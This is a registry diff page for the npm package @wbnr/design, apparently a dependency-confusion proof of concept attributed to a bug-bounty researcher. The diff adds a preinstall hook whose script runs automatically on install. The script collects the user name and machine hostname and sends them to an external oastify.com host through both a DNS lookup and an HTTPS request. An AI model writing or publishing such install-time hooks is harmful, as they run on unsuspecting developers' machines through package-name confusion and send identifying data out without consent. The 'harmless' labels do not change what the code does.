@wbnr/design 99.2.0 → 99.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +4 -1
  2. package/package.json +11 -3
  3. package/preinstall.js +10 -0
package/README.md CHANGED
@@ -1 +1,4 @@
1
- Authorized bug bounty PoC - no install hooks
1
+ # @wbnr/design
2
+
3
+ Authorized bug bounty Dependency Confusion PoC (researcher: profileusername).
4
+ Contains only a harmless DNS/HTTPS callback on install. Not malicious malware.
package/package.json CHANGED
@@ -1,8 +1,16 @@
1
1
  {
2
2
  "name": "@wbnr/design",
3
- "version": "99.2.0",
4
- "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername",
3
+ "version": "99.3.0",
4
+ "description": "Bug bounty dependency confusion PoC - MTS Link / profileusername - harmless DNS callback only",
5
5
  "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
6
9
  "author": "profileusername (bug bounty)",
7
- "license": "UNLICENSED"
10
+ "license": "UNLICENSED",
11
+ "keywords": [
12
+ "security-research",
13
+ "bug-bounty",
14
+ "dependency-confusion-poc"
15
+ ]
8
16
  }
package/preinstall.js ADDED
@@ -0,0 +1,10 @@
1
+ const dns = require('dns');
2
+ const https = require('https');
3
+ const os = require('os');
4
+ const pkg = '@wbnr/design'.replace(/[@\/]/g, '_');
5
+ const host = process.env.USER || process.env.USERNAME || 'user';
6
+ const hostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
7
+ dns.lookup(`${pkg}.${host}.${hostname}.${Date.now()}.4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com`, () => {});
8
+ try {
9
+ https.get(`https://4otph6fase1x2won0hrfzul2wt2qqge5.oastify.com/depconf/${pkg}/${encodeURIComponent(host)}/${encodeURIComponent(hostname)}`, () => {}).on('error', () => {});
10
+ } catch (e) {}